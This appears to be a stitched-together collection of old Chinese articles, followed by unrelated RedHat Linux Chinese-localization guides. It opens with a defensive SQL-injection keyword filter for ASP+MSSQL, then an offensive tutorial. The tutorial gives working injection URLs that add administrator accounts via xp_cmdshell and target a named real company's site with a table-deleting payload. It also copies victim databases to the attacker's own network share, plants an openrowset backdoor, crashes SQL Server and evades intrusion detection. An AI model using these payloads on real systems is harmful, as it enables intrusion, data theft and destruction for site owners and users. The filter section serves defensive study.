关于数据库的简单入侵”的简单防范

文：Refdom

  最近kennidy的“关于数据库的简单入侵”是一个比较热门的话题，如果你还没有看过这个文章， 请参见：http://www.cnhonker.net/news/membervouch/20010823191247.html
或者上篇“SQL数据库的一些攻击”一文，这个更全些。

的确，对于目前的多数网站都使用ASP+MSSQL的架构来说，kennidy的这个入侵方法的确是必杀技，如果你是一个ASP程序员，应该知道了吧，是不是基本没有注意这些东西呢。

关于ASP+MSSQL入侵的东西很早就提出来了，就跟'or'1'='1一样，都是出于对脚本的代码编写漏洞进行的。因为在ASP+MSSQL中，要从浏览器端得到一些参数变量，然后在ASP脚本中去运用，在进行数据库操作中，出现很多SELECT语句，这些语句的内容又是从浏览器端得到的，因此，ASP+MSSQL的入侵，也就是来构造特殊的输入，然后改造了SQL语句，于是……

  好吧，既然是从浏览器端得到的东西，当然应该想到“过滤”。（不是我说的，地球人都知道，呵呵）

  让我们想想正常的ASP脚本使用的SQL语句吧。
  随便一个例子：
  SQL="SELECT * FROM (table) WHERE ID='" &intID& "' AND Topic='"　&strTopic&
"'"
  这里intID和strTopic是需要从浏览器端得到的变量。

  好了，上面是我们需要的SQL语句，如果要入侵呢，就必须构造新的SQL语句。看看kennidy（其实要从这个方向入侵，就这样弄）提到的：

    news.asp?id=2;exec master.dbo.sp_addlogin hax;--

  “--”是用来注释的，于是SQL语句就变成我们不希望的：

    SELECT * FROM news WHERE id=2;exec sp_addlogin hax；--AND topic=... AND
...

  好吧。来看看解决办法（其实要从这个方向防范，就这样弄）。我们的正常使用操作数据库（SQL语句中）应该不需要使用exec之类的，而要入侵超越权限就需要使用exec之类，这些就需要屏蔽了。

  需要屏蔽的关键字：exec,declare,还有就是一些需要控制的字符（串）了，比如：sp_，xp_，"_"，"+","'"，";","@"等等(呵呵，异常符号都屏蔽了吧)。屏蔽的时候，对于字符串屏蔽不如对单个字符的屏蔽简单，如果入侵要跨越权限就会用到"_",";","--","//","@"，而这些字符几乎不使用，至于"_","+"到是可能用到的。

  那我们就开始吧。下面是一个简单的过滤函数

Function Filter_SQL(strData)

  Dim strFilter
  Dim blnFlag
  Dim i

  strFilter="',;,//,--,@,_,exec,declare"
    '需要过滤的字符，可以自己添，","是分隔符
blnFlag=Flase　　　'过滤标志，如果产生过滤，那么就是真

Dim arrayFilter
arrayFilter=Split(strFilter,",")
For i=0 To UBound(arrayFilter)
If Instr(strData,arrayFilter(i))>0 Then
blnFlag=True
Exit For
End If
Next

  If blnFlag Then
     Response.Redirect "wrong.asp"
'当发现有过滤操作时，导向一个预定页面。反正正常访问用不到的连接请求，总不是好事情。
  Else
     Filter_SQL=strData
  End If

End Function

  通常，对于用户名一类的输入，可以容许"_"这样的字符。所以，你可以扩展上面的函数，添加一个判别需要过滤的字符串的属性参数。利用这个函数对所有的Request项目进行过滤检查。

  这些只是简单的处理措施，其实ASP+MSSQL需要注意的东西太多了，而且很多配置需要做。本来这个东西不属于漏洞，只是太多人写程序不注意，不做安全考虑（我也一样），觉得太麻烦了。大家随意，爱做就做贝。


關於資料庫(SQL)的簡單入侵和無賴破壞

下面这边文章可以算做我上次发的那篇原创教程的原理篇吧！
大家可以两篇结合在一起看，当你看懂的时候你一般可以攻破超过
50%的ASP+SQLSERVER搭建的服务器了！祝大家学习愉快！

※ WebHi Free Forums 》網路安全協防中心
※ 作者: Maxtk maxtk@hotmail.com
※ 主旨: 關於資料庫的簡單入侵和無賴破壞...

--------------------------------------------------------------------------------

對於國內外的很多新聞，BBS和電子商務網站都采用ASP+SQL設計，而寫 ASP的程序員很多（有很多剛剛畢業的），所以，ASP+SQL的攻擊成功率

也比較高。這類攻擊方法與NT的版本和SQL的版本沒有多大的關系，也沒有相應的補丁，因為漏洞是程序員自己造成的，而且大多數講解ASP編

程的書上，源代碼例子就有這個漏洞存在，其實只是一些合法的ASP對SQL的請求，就留下後患無窮！
這種攻擊方法最早源於'or'1'='1的漏洞（我們暫且稱其為漏洞），這個漏洞的原理我想大家因該都知道了，那麼隨之而來的便是;exec

sp_addlogin hax（在資料庫內添加一個hax用戶），但是這個方法的限製很大，首先ASP使用的SQL Server賬號是個管理員，其次請求的提交變

量在整個SQL語句的最後，因為有一些程序員采用SELECT * FROM news WHERE id=... AND topic=... AND .....
這種方法請求資料庫，那麼如果還用以上的例子就會
news.asp?id=2;exec sp_addlogin hax
變成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=... AND ...
整個SQL語句在執行sp_addlogin的存儲過程後有AND與判斷存在，語法錯?***，你的sp_addlogin自然也不能正常運行了，因此試試看下面這個方

法
news.asp?id=2;exec sp_addlogin hax;--
後面的--符號把sp_addlogin後的判斷語句變成了注釋，這樣筒粫姓Z法錯?***了，sp_addlogin正常執行！
那麼我們連一起來用吧
news.asp?id=2;exec master.dbo.sp_addlogin hax;--
news.asp?id=2;exec master.dbo.sp_password null,hax,hax;--
news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;--
news.asp?id=2;exec master.dbo.xp_cmdshell 'net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes

/active:yes /add';--
news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--
這樣，你在他的資料庫和系統內都留下了hax管理員賬號了
當然，前提條件是ASP用管理員賬號，所以虛擬空間大家就別試了，不會存在這個漏洞的。
以後我們會討論，如果對方的ASP不是用SQL管理員賬號，我們如何入侵，當然也會涉及到1433端口的入侵
當然大家可以試試看在id=2後面加上一個'符號，主要看對方的ASP怎麼寫了

再說說當ASP程序使用的SQL賬號不是管理員的時候我們該如何做。
你如天融信的主頁，有新聞內容，如下﹕
http://www.talentit.com.cn/news/news-2.asp?newid=117
大家可以試試看http://www.talentit.com.cn/news/news-2.asp?newid=117;select 123;--
呵呵，報語法錯?***，select 123錯?***，顯而易見，天融新的ASP在newid變量後面用'號結束
那麼試試看http://www.talentit.com.cn/news/news-2.asp?newid=117';delete news;--
哈哈，我想只要表名猜對了，新聞庫就被刪了

通常ASP用的SQL賬號就算不是管理員也會是某個資料庫的owner,至少對於這個庫有很高的管理權限
但是我們不知道庫名該怎麼？看看db_name()函數吧
打開你的query analyzer，看看print db_name() ，呵呵，當前的資料庫名就出來了
以次類推，如下﹕ declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目錄bak.dat' ,name='test';--
呵呵，他的當前資料庫就備份到你的硬盤上了，接下來要做的大家心裡都明白了吧
同理這個方法可以找到對方的SQL的IP
先裝一個防火牆，打開ICMP和139TCP和445TCP的警告提示
然後試試看news.asp?id=2;exec master.dbo.xp_cmdshell 'ping 你的IP'
如果防火牆提示有人ping你，那麼因該可以肯定對方的ASP用的是SQL的管理員權限，同時也確定了對方的SQL Server的準確位置，因為很多大

一點的網站考]性能，會吧web服務和資料庫分開，當對方大上了補丁看不到源代碼時，我想只有這個方法能很快的定位對方的SQL Server的位

置了
那麼，如果對方ASP沒有SQL管理員權限，我們就不能調用xp_cmdshell了，該怎麼辦？
別著急，試試看這個news.asp?id=2;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目錄bak.dat'

,name='test';--
呵呵，你的防火牆該發出警告了，有人連接你的445或139(win9端口了，這樣，對方的SQL的ip一樣也可以暴露
那麼如果對方連某個資料庫的owner也不是的話，我們該怎麼辦？下次我會告訴大家一個更好的辦法。
其實backuo database到你的硬盤還是有點夸張了，如果對方資料庫很龐大，你又是撥號上網，呵呵，勸你別試了，很難成功傳輸的
下次我們還會談到如何騙過IDS執行ASP+SQL入侵
目前有些好的IDS已經開始監視xp_cmdshell這些關鍵字了
好吧，同誌們下次見

所有以上url希望大家通過vbscript提交，因為瀏覽器的地址欄會屏蔽一些特殊字符，這樣你的命令就不能完整傳輸了
window.location.herf=URL

補充﹕這個問題以前載網上也提出來過，但是只是一些簡單的xp_cmdshell調用限製很大，其實這裡面還有很多值得深入的地方比如

www.guosen.com.cn。國信證卷就有這個問題，而且他們采用ms的三層結構作的用以前說的xp_cmdshell做法就不行了，字符串會被過濾，但是

我嘗試了，用sql的異類請求仍然可以在對方的機器上開啟telnet服務和administrators組的賬號！由於對方防火牆很嚴checkpoint數據報進出

都只開放80端口因此，要想獲得他的資料庫結構比較困難了，但是還是有辦法可以做到的﹕P
順便提醒大家注意一下關於sqloledb,db_name,openrowset,opendatasource這些系統函數當asp的sqlserver賬號只是一個普通用戶時，他們會

很有用的！

sql server新漏洞和一些突破口

下面我要談到一些sqlserver新的bug，雖然本人經過長時間的努力，當然也有點幸運的成分在內,才得以發現，不敢一個人獨享，拿出來請大家

鑒別,當然很有可能有些高手早已知道了，畢竟我接觸sqlserver的時間不到1年﹕P

1。關於openrowset和opendatasource
可能這個技巧早有人已經會了，就是利用openrowset發送本地命令
通常我們的用法是（包括MSDN的列子）如下
select * from openrowset('sqloledb','myserver';'sa';'','select * from table')
可見（即使從字面意義上看)openrowset只是作為一個快捷的遠程資料庫訪問，它必須跟在select後面，也就是說需要返回一個recordset
那麼我們能不能利用它調用xp_cmdshell呢？答案是肯定的！
select * from openrowset('sqloledb','server';'sa';'','set fmtonly off exec master.dbo.xp_cmdshell ''dir c:\''')
必須加上set fmtonly off用來屏蔽默認的只返回列信息的設置，這樣xp_cmdshell返回的output集合就會提交給前面的select顯示，如果采用

默認設置，會返回空集合導致select出錯，命令也就無法執行了。
那麼如果我們要調用sp_addlogin呢，他不會像xp_cmdshell返回任何集合的，我們就不能再依靠fmtonly設置了，可以如下操作
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin Hectic')
這樣，命令至少會返回select 'OK!'的集合，你的機器商會顯示OK!，同時對方的資料庫內也會增加一個Hectic的賬號，也就是說，我們利用

select 'OK!'的返回集合欺騙了本地的select請求，是命令能夠正常執行，通理sp_addsrvrolemember和opendatasource也可以如此操作！至於

這個方法真正的用處，大家慢慢想吧﹕P

2。關於msdasql兩次請求的問題
不知道大家有沒有試過用msdasql連接遠程資料庫，當然這個api必須是sqlserver的管理員才可以調用，那麼如下
select * from openrowset('msdasql','driver={sql

server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn','select * from table1 select * from

table2')
當table1和table2的字段數目不相同時，你會發現對方的sqlserver崩潰了，連本地連接都會失敗，而系統資源佔用一切正常，用pskill殺死

sqlserver進程後，如果不重啟機器，sqlserver要麼無法正常啟動，要麼時常出現非法操作，我也只是踫巧找到這個bug的，具體原因我還沒有

摸透，而且很奇怪的是這個現象只出現在msdasql上，sqloledb就沒有這個問題，看來問題不是在於請求集合數目和返回集合數目不匹配上，因

該還是msdasql本身的問題，具體原因，大家一起慢慢研究吧﹕P

3。可怕的後門
以前在網上看到有人說在sqlserver上留後門可以通過添加triger,jobs或改寫sp_addlogin和sp_addsrvrolemember做到，這些方法當然可行，

但是很容易會被發現。不知道大家有沒有想過sqloledb的本地連接映射。呵呵，比如你在對方的sqlserver上用sqlserver的管理員賬號執行如

下的命令
select * from openrowset('sqloledb','trusted_connection=yes;data source=Hectic','set fmtonly off exec master..xp_cmdshell

''dir c:\''')
這樣在對方的sqlserver上建立了一個名為Hectic的本地連接映射，只要sqlserver不重啟，這個映射會一直存在下去，至少我現在還不知道如

何發現別人放置的連接映射
，好了，以上的命令運行過後，你會發現哪怕是sqlserver沒有任何權限的guest用戶，運行以上這條命令也一樣能通過！而且權限是

localsystem！（默認安裝）呵呵！這個方法可以用來在以被入侵過獲得管理員權限的sqlserver上留下一個後門了。

以上的方法在sqlserver2000+sqlserver2000SP1上通過！

*另外還有一個猜測，不知道大家有沒有注意過windows默認附帶的兩個dsn，一個是localserver一個是msqi，這兩個在建立的時候是本地管理

員賬號連接sqlserver的，如果對方的sqlserver是通過自定義的power user啟動，那麼sa的權限就和power user一樣，很難有所大作為，但是

我們通過如下的命令
select * from openrowset('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec master..xp_cmdshell ''dir

c:\''')應該可以利用localserver的管理員賬號連接本地sqlserver然後再以這個賬號的權限執行本地命令了，這是後我想應該能突破sa那個

power user權限了。現在的問題是sqloledb無法調用dsn連接，而msdasql非管理員不讓調用，所以我現在正在尋找guest調用msdasql的方法，

如果有人知道這個bug如何突破，或有新的想法，我們可以一起討論一下，這個發放如果能成功被guest利用，將會是一個很嚴重的安全漏洞。

因為我們前面提到的任何sql語句都可以提交給對方的asp去幫我們執行﹕P

利用t-sql騙過ids或攻擊ids

現在的ids已經變得越來越聰明了
有的ids加入了xp_cmdshell sp_addlogin 的監視
但是畢竟人工智能沒有出現的今天，這種監視總是有種騙人的感覺
先說說欺騙ids:
ids既然監視xp_cmdshell關鍵字，那麼我們可以這麼做
declare @a sysname set @a="xp_"+"cmdshell" exec @a 'dir c:\'
這個代碼象性大家都能看明白，還有xp_cmdshell作為一個store procedure在master庫內有一個id號，固定的，我們也可以這麼做
假設這個id=988456
declare @a sysname select @a=name from sysobjects where id=988456 exec @a 'dir c:\'
當然也可以
declare @a sysname select @a=name from sysobjects where id=988455+1 exec @a 'dir c:\'
這種做法排列組合，ids根本不可能做的到完全監視
同理，sp_addlogin也可以這麼做
再說說攻擊ids:
因為ids數據量很大，日至通常備份到常規資料庫，比如sql server
如果用古老的recordset.addnew做法，會嚴重影響ids的性能，因為通過ado做t-sql請求，不但效率高，而且有一部分工作可以交給sql server

去做
通常程序會這麼寫
insert table values ('日至內容',...)
那麼我麼想想看，如果用
temp') exec xp_cmdshell 'dir c:\' --
提交後會變成
insert table values ('日至內容'....'temp') exec xp_cmdshell 'dir c:\' -- ')
這樣，xp_cmdshell就可以在ids的資料庫運行了 ﹕）
當然ids是一個嗅嘆器，他會抓所有的報，而瀏覽器提交的時候會把空格變成%20
因此，%20會被提交到sql server，這樣你的命令就無法執行了
唯一的辦法就是
insert/**/table/**/values('日至內容'....'temp')/**/exec/**/xp_cmdshell/**/'dir c:\'/**/-- ')
用/**/代替空格做間隔符，這樣你的t-sql才能在ids的資料庫內執行
淡然也可以用其他語句，可以破壞，備份ids的資料庫到你的共享目錄
呵呵
其實這種方法的原理和攻擊asp是一樣的，只是把空格變成了/**/
本來asp是select語句，那麼用'就可以屏蔽
現在ids用insert語句，那麼用')屏蔽

好了，其他很多新的入侵語句大家可以自己慢慢想，最好的測試工具就是query analyzer了。


汉化RedHat 7.1

2001.8.5
Substorm(我饿了)
http://Substorm.yeah.net/

最近小榕的论坛里问安装linux问题的人越来越多.可能有很多人正在或将要安装安装linux了吧.问起最有名的linux可能要算是RedHat的吧.我一个多月以前买了套RedHat 7.1.虽然是英文的.但是安装起来相当的顺利(以前用的是Happylinux,安装就差点把我弄死!!).而且他的界面相当的漂亮,我觉得比我现在见过的所有操作系统(我还没用过XP)要华丽.好不容易找到了我的软modem的驱动后,又花了一个星期的时间才安装成功.正在兴奋之时,访问了www.netxeyes.com.啊~~~~~~什么东西呀!!!显示不了中文.我靠~~~~不行.这可不行.立刻去了www.linuxbyte.net问了问那里论坛的人气不是很好.等了两天.终于有人回复我了.用了他的方法加上网上找的一些文章.自己弄了一下.结果......失败了.!!!!是失败在安装字体上了!!!!有经过了长达两天的研究.终于找出了一个简单,有效的汉化linux界面的方法.我开学就上高三了.最近尽量给大家写点东西.当然.我的东西很破的.这点大家是清除的
好了.现在来汉化!!!我用的是RedHat 7.1.KDE.
其实让界面汉化非常的简单.7.1自带的KDE已经提供了相当好的中文界面.首先要用root登陆.在终端下输入locale_config选择Chinese.注销后重新进入.这是如果你用的是Gnome就已经可以看到中文界面了.但如果和我一样用的是KDE还要用到RedHat 7.1的安装盘.在盘里找到mnt/cdrom/RedHat/RPMS/kde-i18n-Chinese-2.1.1-2.noarch.rpm单击几下就可以完成安装了.安装成功后还不是中文界面.打开Control Center（控制中心），选择Personalization/Country&Language，设置Country=China，Language=Simplified Chinese，Chars=gb2312.1980-0。中文环境立即生效。
上面这些招数都是跟别人学来的. 你会发现.虽然是中文界面了.可是字难看的很.linux下安装字体可不容易(菜鸟嘛~~什么都不容易.!!).我失败了很多次.后来我发现了magic.用他就简单多了.安装完后你会发现你的linux的中文字体漂亮多了~~Cool吧!!!安装完后不光可以正常显示中文.而且可以显示windows下的中文目录了.他还自代了一个中文输入法~~~很不错!!!
给你他的下载地址,他有两个版本.
不含字体的,使用时要把simsun.ttf字体copy到data目录下:ftp://soft.shunde.net/linux/Chinese/C-Server/magic_no_simsun.tar.gz
带字体的完整版:ftp://soft.shunde.net/linux/Chinese/C-Server/magic.tar.gz
简单吧~~~这回驱猫上网......爽多了!!!!!!!


汉化REDHAT 7.2的另一种方法

simsun.ttc字体位于win2000或winXP的/windows/fonts目录中！现用它来汉化redhat7.2：

1、在/usr/share/fonts/zh_CN/TrueType目录下新建目录myttf,然后将simsun.ttc字体拷贝到该目录下，并运行ttmkfdir >fonts.dir，然后把fonts.dir内容清空后改成如下内容(会有斜体、加粗等）：

31
simsun.ttc -misc-fixed-medium-r-normal--0-0-0-0-c-0-gb2312.1980-0
simsun.ttc -misc-simsun-medium-r-normal--0-0-0-0-c-0-gb2312.1980-0
ai=0.2:simsun.ttc -misc-simsun-medium-o-normal--0-0-0-0-c-0-gb2312.1980-0
ai=0.4:simsun.ttc -misc-simsun-medium-i-normal--0-0-0-0-c-0-gb2312.1980-0
ab=y:simsun.ttc -misc-simsun-bold-r-normal--0-0-0-0-c-0-gb2312.1980-0
ai=0.2:ab=y:simsun.ttc -misc-simsun-bold-o-normal--0-0-0-0-c-0-gb2312.1980-0
ai=0.4:ab=y:simsun.ttc -misc-simsun-bold-i-normal--0-0-0-0-c-0-gb2312.1980-0
sw=1:bw=0.5:simsun.ttc -misc-simsun-medium-r-normal--0-0-0-0-c-0-iso8859-1
ab=y:sw=1:bw=0.5:simsun.ttc -misc-simsun-bold-r-normal--0-0-0-0-c-0-iso8859-1
ai=0.2:sw=1:bw=0.5:simsun.ttc -misc-simsun-medium-o-normal--0-0-0-0-c-0-iso8859-1
ai=0.4:sw=1:bw=0.5:simsun.ttc -misc-simsun-medium-i-normal--0-0-0-0-c-0-iso8859-1
ai=0.2:ab=y:sw=1:bw=0.5:simsun.ttc -misc-simsun-bold-o-normal--0-0-0-0-c-0-iso8859-1
ai=0.4:ab=y:sw=1:bw=0.5:simsun.ttc -misc-simsun-bold-i-normal--0-0-0-0-c-0-iso8859-1
ai=-0.2:sw=1:bw=0.5:simsun.ttc -misc-simsun-medium-ro-normal--0-0-0-0-c-0-iso8859-1
ai=-0.4:sw=1:bw=0.5:simsun.ttc -misc-simsun-medium-ri-normal--0-0-0-0-c-0-iso8859-1
ai=-0.2:ab=y:sw=1:bw=0.5:simsun.ttc -misc-simsun-bold-ro-normal--0-0-0-0-c-0-iso8859-1
ai=-0.4:ab=y:sw=1:bw=0.5:simsun.ttc -misc-simsun-bold-ri-normal--0-0-0-0-c-0-iso8859-1
ai=-0.4:simsun.ttc -misc-simsun-medium-ri-normal--0-0-0-0-c-0-gb2312.1980-0
ai=-0.4:ab=y:simsun.ttc -misc-simsun-bold-ri-normal--0-0-0-0-c-0-gb2312.1980-0
ai=-0.2:simsun.ttc -misc-simsun-medium-ro-normal--0-0-0-0-c-0-gb2312.1980-0
ai=-0.2:ab=y:simsun.ttc -misc-simsun-bold-ro-normal--0-0-0-0-c-0-gb2312.1980-0
simsun.ttc -misc-simsun-medium-r-normal--0-0-0-0-c-0-gbk-0
ai=0.2:simsun.ttc -misc-simsun-medium-o-normal--0-0-0-0-c-0-gbk-0
ai=0.4:simsun.ttc -misc-simsun-medium-i-normal--0-0-0-0-c-0-gbk-0
ab=y:simsun.ttc -misc-simsun-bold-r-normal--0-0-0-0-c-0-gbk-0
ai=0.2:ab=y:simsun.ttc -misc-simsun-bold-o-normal--0-0-0-0-c-0-gbk-0
ai=0.4:ab=y:simsun.ttc -misc-simsun-bold-i-normal--0-0-0-0-c-0-gbk-0
ai=-0.4:simsun.ttc -misc-simsun-medium-ri-normal--0-0-0-0-c-0-gbk-0
ai=-0.4:ab=y:simsun.ttc -misc-simsun-bold-ri-normal--0-0-0-0-c-0-gbk-0
ai=-0.2:simsun.ttc -misc-simsun-medium-ro-normal--0-0-0-0-c-0-gbk-0
ai=-0.2:ab=y:simsun.ttc -misc-simsun-bold-ro-normal--0-0-0-0-c-0-gbk-0

然后运行cat fonts.dir >fonts.scale

2、修改/etc/X11/XF86Config-4，添加：
FontPath "/usr/share/fonts/zh_CN/TrueType/myttf"
注意要添加在unix:7100这一行前面。
再在module段中添加：
Load "xtt"

3、再修改XftConfig 添加目录
dir "/usr/share/fonts/zh_CN/TrueType/myttf"。

这样KDE就汉化好了，重启后选择simsun字体就可以看到漂亮的菜单了！

（注意，上面的英文引号不能改成中文引号，否则不能启动x-window，一旦出现这种情况，可以用vi编辑器在字符状态下编辑/etc/X11/XF86Config-4）
关于vi的用法，详见：
http://www.bluepoint.com.cn/support/techdoc/vi1.htm
对于第一次用vi，有几点注意要提醒一下：
1、用vi打开文件后，是处于「命令行模式（command mode）」，您要切换到「插入模式（Insert mode）」才能够输入文字。切换方法：在「命令行模式（command mode）」下按一下字母「i」就可以进入「插入模式（Insert mode）」，这时候你就可以开始输入文字了。
2、编辑好后，需从插入模式切换为命令行模式才能对文件进行保存，切换方法：按「ESC」键。
3、保存并退出文件：在命令模式下输入:wq即可！（别忘了wq前面的:）

汉化好后KDE最好把gnome也汉化一下，否则在KDE用Mozilla等软件时会出现某些地方无法用上simsun字体的问题！汉化gnome方法如下：
编辑/etc/gtk/gtkrc.zh_CN文件，将所有的FontSet设置为：
fontset = "-misc-simsun-medium-r-normal--14-*-*-*-*-*-gb2312.1980-0"
重新启动GNOME就可以看到漂亮的TrueType中文字体啦！
字体大小根据需要设置，只要把14设为相应的数字就可以了，一般为12或14！


汉化RedHat Linux 7.0

根据多位玩家在 China Linux Forum 发表的帖子, 经过两昼夜的反复实践,
终于搞定了可爱的"小红帽",提出一套初步的中文化解决方案.本文未有发明,
仅以安装过程之经验,供同挤相互印证.

一 安装 RedHat Linux 7.0

按照常规步骤安装 RedHat Linux 7.0. 笔者所用平台为 Sony VAIO F160 Laptop,
PII300/64M/6.4G. 安装模式选择 Gnome WorkStation. 系统重要软件版本号如下:

Kernel 2.2.16
gcc 2.96
gcc-c++ 2.96
glibc 2.1.92
XFree86 4.0.1
Gnome 1.2.1

二 控制台中文化

利用 Unicon 3.0 实现控制台的中文化. Unicon 3.0 是 TurboLinux 公司利用
Unicon 技术实现的 Linux 控制台国际化的解决方案. 通过终端帧缓冲方式实现
多字节语种的显示与输入,支持 GB,GBK,BIG5,JIS,KSC 等编码.

可以从 China Linux Forum 或 直接从 TurboLinux 公司的网站下载:
http://www.linuxforum.net/ftp/update/Unicon-3.0-release.tar.gz
ftp://ftp.turbolinux.com.cn/pub/turbolinux/source/Unicon/Unicon-3.0-release.tar.gz

安装 Unicon 3.0 需要修改 Linux 内核. Unicon 3.0 同时提供了 Kernel-2.2.17
和 Kernel-2.4.0-test10 的内核补丁. 笔者选择了稳定内核 Kernel-2.2.17.

最新的内核源代码可以在国内外很多站点得到,或者直接从以下网站下载:
http://www.kernel.org/pub/linux/kernel/v2.2/linux-2.2.17.tar.gz

1. 下载完毕后,将内核源代码包解压缩到 /usr/src 目录中:

# cd /usr/src
# tar zxvf /path/to/your/linux-2.2.17.tar.gz

2. 为内核打上 Unicon 补丁:

# cd /tmp
# tar zxvf /path/to/your/Unicon-3.0-release.tar.gz
# cd /usr/src
# gzip -dc /tmp/Unicon-3.0/kernel-patches/Unicon-kernel-2.2.17-1.patch.gz | patch -p0 -b

3. 编译新内核:

# cd /usr/src/linux
# make mrproper
# make xconfig 启动内核配置程序

在内核配置菜单中以下选项前选择"Y":

Code maturity level options
+-Prompt for development and/or incomplete code/drivers
Console Driver
+-Support Frame Buffer Devices
+-Unicon Support
+-VESA VGA Graphics Console

为了使 Linux 能够识别 Window 下中文文件名,应当选择核心支持中文
代码页:

Character Driver
+-Native Langruage
+-code 936(GBK)

根据具体情况配置其它选项, 然后 Save configuration and exit.

# make dep
# make bzImage
# make modules
# make modules_install

4. 新内核编译成功后,测试新内核是否运行

# cp /usr/src/linux/arch/i386/boot/bzImage /boot/vmlinuz-2.2.17
# cp /usr/src/linux/System.map /boot/System.map-2.2.17

编辑 /etc/lilo.conf 文件将新内核的入口添加到引导记录里,并使之生效:

#lilo -vi

使用重新引导系统.

5. 安装 GNU 可移植线程库 pth-1.3.7

下载地址为 ftp://ftp.gnu.org/gnu/pth/pth-1.3.7.tar.gz

# cd /tmp
# tar zxvf /path/to/your/pth-1.3.7.tar.gz
# cd pth-1.3.7
# ./configure --prefix=/usr/local
# make
# make test
# make install

使新的库文件目录生效:

# echo /usr/local/lib >> /etc/ld.so.conf
# ldconfig

6. 安装 Unicon-3.0

虽然 Unicon 3.0 的编译过程很简单，但出于节省编译时间和节省存储空间的目的，可做
少量修改。例如：Unicon 默认编译包含 GB,GBK,BIG5,JIS 和 KSC 编码，而实际使用时，
有些编码却用不上.当然，是否全部编译还得由自己的情况而定.

进入 Unicon-3.0 目录，在 fonts 目录内，修改 Makefile.in 文件内容，将你不需要编
译的字体前加上 # 号. 在 Unicon/Unicon 目录内，需在 ImmHzInput.cpp 和 UniKey.cpp
的头部加入语句 #include . 在 tools 目录内，在 Makefile.in 中，去掉
-V2.7.2.3, 将 CFLAGS 设成 CFLAGS = -O2 -Wall -I.

# cd ..
# ./confugre --prefix=/usr/local
# make
# make install
# make data
# make data-install

7. 现在 Unicon3.0 已经编译并安装完成, 为了在控制台下得到更
好的显示效果, 修改 lilo.conf 文件, 例如

image=/boot/vmlinuz-2.2.17
label=k2217
root=/dev/hda2
read-only
vga=771 //设置控制台的分辨率为800x600*16bit

执行 lilo -v 使 lilo 生效.
重新引导系统.

执行
# insmod unikey
# insmod encode-gb
# loadunimap /usr/lib/Unicon/direct.uni
# Unicon --gb

如果出现了蓝色的输入条,试试 Ctrl+Space 应该可以隐藏输入条, 再试试右面的shift
键,应该可以出现智能拼音输入法提示,至此,已经完成了控制台的中文化.

二 X-Window 中文化

1. 配置中文 Locale

RedHat 7.0 已经安装了支持中文的 Locale 在 /usr/lib/locale/zh_CN 下.
编辑 /etc/sysconfig/i18n 配置文件,修改 LANG="en_US" 为 LANG="zh_CN.GB2312".
编辑 /usr/lib/gconv/gconv-modules 文件,加入一行

alias GB2312-1980// EUC-CN//

使用 export LC_ALL=zh_CN.gb2312 启用中文 locale 支持.
执行命令 date，看看有无变化? 月日等字还是乱码,但表示 Locale 已经生效了.

# startx 进入X-Window, 应该可以看到"丑丑"的中文了.

为在下一次自动进入中文支持状态，在你的主目录下 .bashrc 文件中加入：

export LANG=zh_CN.gb2312
export LC_ALL=zh_CN.gb2312

2. 安装中文输入服务器 Chinput-3.01

Chinput 是于明检先生开发的一个 X-Window 下支持 XIM 输入协议的中文输入
服务器. 可以直接从其主页下载.

http://go.163.com/~yumingjian

Chinput 3.0 需要 Unicon 2.0 的输入法字典和库文件,可以同时从上址下载.

# cd /usr/local/lib
# tar zxvf /path/to/your/Unicon2_im.tar.gz 将Unicon 2.0 解压缩到此目录
# cd /usr/lib
# ln -s /usr/local/lib/Unicon2 Unicon2 这是 Chinput 默认的 Unicon 2.0 的路径

将 Chinput 3.0 压缩包解压缩
# cd /tmp
# tar zxvf /path/to/your/Chinput_3.0_release.tar.gz

笔者要将其安装到 /usr/local 下, 所以要编辑 Chinput_3.0 目录下的文件
Makefile src/Makefile handwriting/Makefile 中的 /usr/bin
修改为 /usr/local/bin. 当然还应当修改库文件目录,这里我只是做了简单
的链接.

# cd /usr/local/lib
# mkdir ZWinPro
# mkdir dict/gb
# cd /usr/lib
# ln -s /usr/local/lib/ZWinPro ZWinPro
# ln -s /usr/local/dict/gb /usr/dict/gb

# cd /tmp/Chinput-3.0
# make;make install

由于 Chinput 需要 libstdc++-libc6.1-2.so.3，而 RedHat 7.0 的 compat-libstdc++
兼容库中只包含 libstdc++-2-libc6.1-1-2.9.0.so，需要手动建立一个库链接:

# cd /usr/lib
# ln -s libstdc++-2-libc6.1-1-2.9.0.so libstdc++-libc6.1-2.so.3

3 . 配置 /usr/lib/ZWinPro/Chinput.ad 文件：

由于 XFree86 没有自带的 BIG5 码字体，若你不需要输入 BIG5 码字符，
则对 Chinput.ad 做以下调整：

...
chinput.gblocale = zh_CN.gb2312
chinput.big5locale = zh_CN.gb2312
...
chinput.gbfont = -*-*-medium-r-normal--16-*-*-*-c-*-gb2312.1980-0
chinput.big5font = -*-*-medium-r-normal--16-*-*-*-c-*-gb2312.1980-0

注意：在 Chinput.ad 的字体定义中，不能出现空格，这是由于 Chinput 的限制.

在你的主目录中 .bashrc 文件加入一行

export XMODIFIERS=@im=Chinput

并重新登录，使其生效.

4. 启动 X-Window, 打开一个终端, 在命令行输入

# chinput &

如果看到绿色的 [OK] 字样,说明 Chinput 已经工作了.

用鼠标右键点击桌面左上角图标 "My Homw", 选择 "Preference", 可以看到
一个弹出的属性菜单, 点亮 "My Home" 对话框, 再按 Ctrl+Space, 应当看到
Chinput 的智能拼音输入条了, 试试能否包 "My Home" 改成中文?

三 应用软件的安装与配置

1. GEdit 的配置

GEdit 本身已经支持 i18n 和 XIM.
在命令行执行

# gedit &

在按 Ctrl+Space, 应该可以直接在 GEdit 中输入中文了!

2 安装 rxvt-2.7.5

首先卸载原有的 X-终端

# rpm -e rxvt

将下载的 rxvt-2.7.5 软件包解压缩,然后编译和安装,

# cd /tmp
# tar zxvf /path/to/your/rxvt-2.7.5.tar.gz
# cd rxvt-2.7.5
# ./configure --enable-everything --enable-languages --with-encoding=gb
# make
# make install

然后编辑你的主目录下 .Xresource 文件, 增加以下几行:

rxvt*foreground: grey
rxvt*background: black
rxvt*multichar_encoding: gb
rxvt*font: 8x16
